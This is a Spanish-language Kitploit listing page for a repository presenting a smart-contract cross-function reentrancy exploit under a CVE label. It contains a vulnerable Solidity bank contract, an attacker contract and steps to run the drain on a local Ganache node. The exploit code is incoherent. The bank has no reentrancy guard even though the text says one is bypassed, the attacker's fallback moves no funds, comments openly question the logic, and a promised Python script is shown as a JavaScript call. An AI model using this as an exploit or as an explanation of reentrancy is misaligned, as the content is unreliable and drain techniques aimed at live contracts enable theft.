Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
Análisis de VulnerabilidadesExplotaciónAprendizaje y Educación
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

Ejemplo de exploit de reentrancia entre funciones para contratos inteligentes, con un contrato Solidity vulnerable y un contrato atacante que demuestra el drenaje de fondos mediante la reentrada a través de la función fallback.

Ver Repositorio
3hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-1111 – Reentrancia entre funciones en contrato inteligente

Código del programa (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – Reentrancia entre funciones en contrato inteligente

Severity: Critical

Resumen

Un contrato inteligente carece de un protector global de reentrancia, lo que permite a un atacante volver a entrar en el contrato a través de una función distinta durante una llamada a withdraw, eludiendo un protector local y drenando los fondos.

Detalles de la vulnerabilidad

  • Tipo: Reentrancia
  • Impacto: Robo de todo el Ether bloqueado.
  • Causa raíz: La función withdraw actualiza el saldo después de una llamada externa, y una función separada que modifica el estado (transferTo) puede ser invocada de forma reentrante, manipulando los saldos.

Demostración del exploit

  1. Inicia un nodo Ethereum local (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. Despliega VulnerableBank.sol y Attacker.sol usando Remix o Truffle.
  3. Ejecuta el ataque mediante el script de Python (simúlalo con la consola de Remix):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
Descargar herramienta